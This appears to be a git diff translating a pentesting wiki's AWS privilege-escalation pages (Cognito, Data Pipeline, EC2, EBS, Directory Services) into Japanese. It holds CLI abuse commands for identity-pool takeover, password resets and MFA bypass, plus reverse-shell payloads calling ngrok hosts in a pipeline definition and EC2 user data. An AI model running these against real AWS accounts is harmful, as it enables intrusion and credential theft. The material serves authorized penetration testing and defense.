+**潜在的な影響:** どのCognitoロールにも直接的な権限昇格。 ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +この権限を持つ攻撃者は、例えば自分の管理下にあるCognitoユーザープールや、ログインできる他のアイデンティティプロバイダーを設定することができます。これにより、**このCognitoアイデンティティプールにアクセスする方法**となります。その後、単にそのユーザープロバイダーで**ログイン**することで、**アイデンティティプールに設定された認証済みロールにアクセスできるようになります**。 ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +この権限を**悪用して基本認証を許可する**ことも可能です： ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**潜在的な影響**: アイデンティティプール内の構成された認証済みIAMロールを侵害する。 ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +この権限は**CognitoユーザーをCognitoグループに追加する**ことを許可します。したがって、攻撃者はこの権限を悪用して、自分の管理下にあるユーザーを**より良い**権限や**異なるIAMロール**を持つ他のグループに追加することができます。 ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**潜在的な影響:** 他のCognitoグループおよびユーザープールグループに付随するIAMロールへの権限昇格。 ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +これらの権限を持つ攻撃者は、**侵害されたCognitoアイデンティティプロバイダー**によって使用できる**すべてのIAMロール**を持つ**グループを作成/更新**し、侵害されたユーザーをそのグループの一部にすることで、すべてのロールにアクセスできます: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**潜在的な影響:** 他のCognito IAMロールへの権限昇格。 ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +この権限は**サインアップを確認する**ことを許可します。デフォルトでは、誰でもCognitoアプリケーションにサインインできます。これが放置されると、ユーザーは任意のデータでアカウントを作成し、この権限で確認することができます。 ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**潜在的な影響:** 新しいユーザーを登録できる場合、認証されたユーザーのためのアイデンティティプールIAMロールへの間接的な権限昇格。任意のアカウントを確認できることによる他のアプリ機能への間接的な権限昇格。 ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +この権限により、攻撃者はユーザープール内に新しいユーザーを作成することができます。新しいユーザーは有効として作成されますが、パスワードを変更する必要があります。 ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。 ### `cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +この権限は、攻撃者が無効化されたユーザーの資格情報を見つけ、そのユーザーを**再度有効にする**必要がある非常に限られたケースで役立ちます。 ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの間接的な権限昇格と、攻撃者が無効なユーザーの資格情報を持っている場合のユーザーの権限。 ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +この権限は、[**ADMIN_USER_PASSWORD_AUTHメソッド**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**を使用してログインすることを許可します。** 詳細についてはリンクを参照してください。 ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +この権限は、攻撃者が**任意のユーザーのパスワードを変更することを許可し、MFAが有効でない任意のユーザーになりすますことができるようにします。** ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**潜在的な影響:** 直接的な権限昇格が可能で、すべてのユーザーが所属するグループへのアクセスや、Identity Pool 認証済み IAM ロールへのアクセスが可能です。 ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: 攻撃者はこの権限を悪用して、自分の管理下にある携帯電話を **ユーザーの SMS MFA** として設定する可能性があります。 ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** 前のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護を回避するために使用できます。 ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: 前のものと同様に、この権限はMFA保護を回避するためにユーザープールのMFA設定を行うために使用できます。 ```bash aws cognito-idp set-user-pool-mfa-config \ - --user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** ユーザープールを更新してMFAポリシーを変更することも可能です。[こちらでcliを確認してください](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。 -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** 攻撃者が認証情報を知っている任意のユーザーに対する間接的な権限昇格が可能で、これによりMFA保護を回避できる可能性があります。 ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +この権限を持つ攻撃者は、自分の管理下にあるユーザーのメールアドレスや電話番号、またはその他の属性を変更して、基盤となるアプリケーションでの権限をさらに取得しようとすることができます。\ +これにより、メールアドレスや電話番号を変更し、それを確認済みとして設定することができます。 ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**潜在的な影響:** Cognito User Poolを使用して、ユーザー属性に基づいて権限を付与する基盤となるアプリケーションでの潜在的な間接的な権限昇格。 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +この権限を持つ攻撃者は、**既存のプールクライアントよりも制限の少ない新しいUser Pool Clientを作成**することができます。例えば、新しいクライアントは、あらゆる種類の方法で認証を許可し、秘密を持たず、トークンの取り消しを無効にし、トークンがより長い期間有効であることを許可することができます... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +新しいクライアントを作成する代わりに、**既存のクライアントを変更**することでも同じことができます。 +[**コマンドライン**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)（または[**更新のもの**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)）で、すべてのオプションを確認できます。チェックしてください！ ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**潜在的な影響:** ユーザープールによって使用されるアイデンティティプールの承認されたユーザーへの潜在的な間接的な権限昇格。新しいクライアントを作成することでセキュリティ対策が緩和され、攻撃者が作成したユーザーでログインすることが可能になる。 ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +攻撃者はこの権限を悪用して、新しいユーザーを含むCSVをアップロードすることでユーザーを作成することができる。 ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +（新しいインポートジョブを作成する場合、iam passrole権限も必要になるかもしれませんが、まだテストしていません）。 -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。 ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +攻撃者は新しいアイデンティティプロバイダーを作成し、その後**このプロバイダーを通じてログイン**できるようになります。 ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。他のアプリ機能への間接的な権限昇格、任意のユーザーを作成できる。 -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* 分析 -### cognito-sync:\* Analysis +これはCognitoアイデンティティプールのロールでデフォルトで非常に一般的な権限です。権限にワイルドカードが含まれていると常に悪い印象を与えます（特にAWSからの場合）、しかし**与えられた権限は攻撃者の視点からはあまり有用ではありません**。 -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +この権限は、アイデンティティプール内のアイデンティティIDとアイデンティティプールの使用情報を読み取ることを許可します（これは機密情報ではありません）。\ +アイデンティティIDには、セッションの情報（AWSはこれを**セーブされたゲーム**と定義しています）を持つ[**データセット**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)が割り当てられている可能性があります。これには何らかの機密情報が含まれている可能性がありますが（確率はかなり低いです）、この情報にアクセスする方法は[**列挙ページ**](../aws-services/aws-cognito-enum/)で見つけることができます。 -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +攻撃者はこれらの権限を使用して、**これらのデータセットの変更を公開するCognitoストリームに自分を登録する**か、**Cognitoイベントでトリガーされるラムダ**を使用することもできます。これが使用されているのを見たことはありませんし、ここで機密情報が期待されることはありませんが、不可能ではありません。 -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### 自動ツール -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSのエクスプロイトフレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成（MFAサポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく権限昇格も自動化します。 -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。 -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### 使用法 +特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての権限昇格ベクターを試みるためのサンプルcognito\_\_attack使用法: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +サンプル cognito\_\_enum の使用法：現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します。 ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、特権昇格を含むCognitoに対するさまざまな攻撃を実装したPythonのCLIツールです。 -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. - -#### Installation - +#### インストール ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### 使用法 ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +詳細については、[https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)を確認してください。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..4b76ecb39 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +datapipelineに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +これらの**権限を持つユーザーは、割り当てられたロールの**権限を使用して任意のコマンドを実行するためにData Pipelineを作成することで権限を昇格させることができます： ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +パイプラインの作成後、攻撃者は特定のアクションやリソースの作成を指示するためにその定義を更新します： ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> **14行目、15行目、27行目**の**ロール**は**datapipeline.amazonaws.comによって引き受け可能なロール**である必要があります。また、**28行目**のロールは**EC2プロファイルインスタンスを持つec2.amazonaws.comによって引き受け可能なロール**である必要があります。 > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> さらに、EC2インスタンスはEC2インスタンスによって引き受け可能なロールにのみアクセスできるため（そのロールのみを盗むことができます）。 ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +攻撃者によって作成された**パイプライン定義ファイルには、コマンドを実行するか、AWS APIを介してリソースを作成するための指示が含まれています**。これにより、Data Pipelineのロール権限を利用して、追加の特権を得る可能性があります。 -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. +**潜在的な影響:** 指定されたec2サービスロールへの直接的な特権昇格。 -**Potential Impact:** Direct privesc to the ec2 service role specified. - -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..98a052a72 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## ディレクトリサービス -For more info about directory services check: +ディレクトリサービスに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +この権限は、Active Directory内の**既存**のユーザーの**パスワード**を**変更**することを許可します。\ +デフォルトでは、唯一の**既存**ユーザーは**Admin**です。 ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` - ### AWS Management Console -It's possible to enable an **application access URL** that users from AD can access to login: +ADのユーザーがログインするためにアクセスできる**アプリケーションアクセスURL**を有効にすることが可能です：
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +そして、ログイン時に**AWS IAMロール**を付与することで、ADユーザー/グループがAWS管理コンソールにアクセスできるようになります：
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +アプリケーションアクセスURLを有効にし、AWS Management Consoleの権限を付与する方法は、現時点ではないようです。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..9303258d7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,7 +4,7 @@ ## dynamodb -For more info about dynamodb check: +dynamodbに関する詳細情報は以下を確認してください: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ For more info about dynamodb check: ### Post Exploitation -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +私の知る限り、AWSの`dynamodb`権限を持っているだけでは**権限を昇格させる直接的な方法はありません**。テーブルから**機密情報**を**読み取る**ことができ（AWSの資格情報を含む可能性があります）、テーブルに**情報を書き込む**ことができます（これにより、lambdaコードインジェクションなどの他の脆弱性を引き起こす可能性があります）が、これらのオプションはすでに**DynamoDB Post Exploitationページ**で考慮されています: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -21,7 +21,3 @@ As far as I know there is **no direct way to escalate privileges in AWS just by ### TODO: Read data abusing data Streams {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..c5e454cd1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +これらを持つ攻撃者は、**ボリュームスナップショットをローカルにダウンロードして分析し**、その中にある機密情報（シークレットやソースコードなど）を探すことができる可能性があります。これを行う方法は以下を参照してください： {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +他にも役立つ権限があるかもしれません：`ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +ツール [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) は、**ドメインコントローラーからパスワードを抽出する**ためにこの攻撃を実行します。 -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**潜在的な影響：** スナップショット内の機密情報を特定することによる間接的な権限昇格（Active Directoryのパスワードを取得することさえ可能です）。 ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成することによって、すべてのドメインユーザーのハッシュを盗む**ことができます。これを自分が制御するインスタンスにマウントし、**NTDS.ditおよびSYSTEM**レジストリハイブファイルをImpacketのsecretsdumpプロジェクトで使用するためにエクスポートします。 -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +このツールを使用して攻撃を自動化できます：[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術のいずれかを使用することができます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..e38b253ec 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +**EC2に関する詳細情報**は以下を確認してください: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,51 +12,46 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +攻撃者は**IAMロールをアタッチしたインスタンスを作成し、そのインスタンスにアクセスしてメタデータエンドポイントからIAMロールの資格情報を盗むことができます**。 -- **Access via SSH** - -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +- **SSH経由でのアクセス** +**作成した** **sshキー**を使用して新しいインスタンスを起動し（新しいものを作成する場合は`ec2:CreateKeyPair`の権限が必要になることがあります）、それにsshで接続します。 ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **ユーザーデータによるrev shellへのアクセス** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +**ユーザーデータ**（`--user-data`）を使用して新しいインスタンスを起動すると、**rev shell**を送信できます。この方法ではセキュリティグループを指定する必要はありません。 ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: 